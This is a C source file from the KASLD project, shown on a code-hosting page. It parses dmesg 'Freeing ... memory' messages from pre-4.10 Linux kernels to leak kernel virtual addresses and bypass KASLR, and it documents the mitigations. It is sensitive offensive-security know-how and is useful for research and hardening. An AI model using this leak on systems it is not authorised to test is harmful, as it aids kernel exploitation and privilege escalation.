-
Notifications
You must be signed in to change notification settings - Fork 52
Expand file tree
/
Copy pathdmesg_free_reserved_area.c
More file actions
135 lines (121 loc) · 4.52 KB
/
Copy pathdmesg_free_reserved_area.c
File metadata and controls
135 lines (121 loc) · 4.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
// This file is part of KASLD - https://github.com/bcoles/kasld
//
// free_reserved_area() printed virtual memory layout information to dmesg
// for SMP kernels. The kernel prints one line per freed section:
//
// pr_info("Freeing %s memory: %ldK (%p - %p)\n", s, ..., start, end);
//
// x86:
// Freeing unused kernel memory: 872K (c19b4000 - c1a8e000)
//
// x86_64:
// Freeing unused kernel memory: 1476K (ffffffff81f41000 - ffffffff820b2000)
//
// arm64:
// Freeing unused kernel memory: 1024K (ffff000008d90000 - ffff000008e90000)
// Freeing initrd memory: 16776K (ffff80005745b000 - ffff8000584bd000)
//
// ppc64:
// Freeing unused kernel memory: 960K (c000000000920000 - c000000000a10000)
//
// Removed in kernel v4.10-rc1 on 2016-10-26:
// https://github.com/torvalds/linux/commit/adb1fe9ae2ee6ef6bc10f3d5a588020e7664dfa7
//
// Leak primitive:
// Data leaked: kernel virtual addresses (freed memory section
// boundaries) Kernel subsystem: mm — free_reserved_area() (pr_info with %p)
// Data structure: freed section start/end virtual addresses
// Address type: virtual (kernel text / initrd)
// Method: parsed (dmesg string)
// Status: removed in v4.10 (commit adb1fe9ae2ee)
// Access check: do_syslog() → check_syslog_permissions(); gated by
// dmesg_restrict
// Source:
// https://elixir.bootlin.com/linux/v4.9/source/mm/page_alloc.c
//
// Mitigations:
// Removed in v4.10 (pr_info with raw %p replaced). Access gated by
// dmesg_restrict (see dmesg.h for shared access gate details).
//
// Requires:
// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or
// readable /var/log/dmesg.
//
// References:
// https://web.archive.org/web/20171029060939/http://www.blackbunny.io/linux-kernel-x86-64-bypass-smep-kaslr-kptr_restric/
// https://github.com/torvalds/linux/commit/adb1fe9ae2ee6ef6bc10f3d5a588020e7664dfa7
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
// ---
// <bcoles@gmail.com>
#define _GNU_SOURCE
#include "include/dmesg.h"
#include "include/kasld/api.h"
#include "include/kasld/cli.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
KASLD_EXPLAIN("Searches dmesg for 'Freeing ... memory' messages from "
"free_reserved_area() that print kernel virtual addresses. These "
"messages were removed in v4.10. On older kernels, they reveal "
"kernel text and init section virtual addresses. Access is gated "
"by dmesg_restrict.");
KASLD_META("method:parsed\n"
"phase:inference\n"
"discloses:virtual\n"
"sysctl:dmesg_restrict>=1\n"
"bypass:CAP_SYSLOG\n"
"fallback:/var/log/dmesg\n"
"patch:v4.10\n");
/* Parse a "Freeing <name> memory: <size>K (<start> - <end>)" line.
* Emits a kasld_result_sample() for the start address. Returns 1 on success. */
static int on_match(const char *line, void *ctx) {
(void)ctx;
const char *name_start;
const char *name_end;
const char *paren;
unsigned long addr;
enum kasld_region region;
size_t name_len;
name_start = strstr(line, "Freeing ");
if (name_start == NULL)
return 1;
name_start += 8; /* skip "Freeing " */
name_end = strstr(name_start, " memory:");
if (name_end == NULL)
return 1;
paren = strchr(name_end, '(');
if (paren == NULL)
return 1;
if (!kasld_addr_parse(paren + 1, 16, &addr, NULL) || addr == 0)
return 1;
if (!kasld_addr_is_kernel_vas(addr))
return 1;
/* free_reserved_area() always prints virtual addresses.
* Assign section and region by address range, not by message name:
*
* kernel text range → TEXT / KERNEL_IMAGE
* direct-map range → DIRECTMAP, with region INITRD for "initrd"
* messages, DIRECTMAP for everything else */
name_len = (size_t)(name_end - name_start);
if (kasld_addr_is_kernel_text(addr)) {
region = REGION_KERNEL_IMAGE;
} else {
region = (name_len >= 6 && strncmp(name_start, "initrd", 6) == 0)
? REGION_INITRD
: REGION_DIRECTMAP;
}
kasld_found("leaked address: %lx", addr);
kasld_result_sample(KASLD_TYPE_VIRT, region, addr, NULL, CONF_PARSED);
return 1; /* keep scanning for more sections */
}
int main(void) {
kasld_info("searching dmesg for free_reserved_area() info ...");
int found = dmesg_search("Freeing ", on_match, NULL);
if (found < 0)
return KASLD_EXIT_NOPERM;
if (!found)
kasld_err("free_reserved_area info not found in dmesg");
return 0;
}